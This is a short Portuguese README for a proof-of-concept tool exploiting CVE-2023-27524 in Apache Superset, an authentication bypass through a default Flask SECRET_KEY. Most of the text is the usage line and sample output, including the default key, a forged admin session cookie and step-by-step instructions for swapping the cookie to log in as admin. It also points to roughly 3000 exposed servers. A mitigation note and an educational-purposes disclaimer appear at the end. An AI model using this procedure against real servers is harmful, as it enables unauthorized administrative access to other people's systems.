
Um POC para o mais novo CVE-2023-27524 que permite bypass de autenticação e acesso ao painel de administrador.
Script para verificar se um servidor Apache Superset é vulnerável ao (CVE-2023-27524) e, se for vulnerável, forjar um cookie de sessão com o user_id = 1 que geralmente é o usuário admin, permitindo o bypass de autenticação e acesso ao painel. Atualmente, existem cerca de 3000 servidores em todo o mundo executando o Apache Superset.
usage: python3 CVE-2023-27524.py --url URL
% python3 CVE-2023-27524.py --url http://10.1.221.202:8080
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
Now visit the url: `http://10.1.221.202:8080/superset/welcome` and replace the current session cookie with this `eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg` and refresh the page and we will be logged in as admin to the dashboard
Siga as instruções aqui para gerar e configurar uma SECRET_KEY do Flask. A ferramenta de linha de comando superset pode ser usada para rotacionar a SECRET_KEY de modo que as informações de conexão existentes ao banco de dados sejam preservadas.
Esta POC foi criada apenas para fins educacionais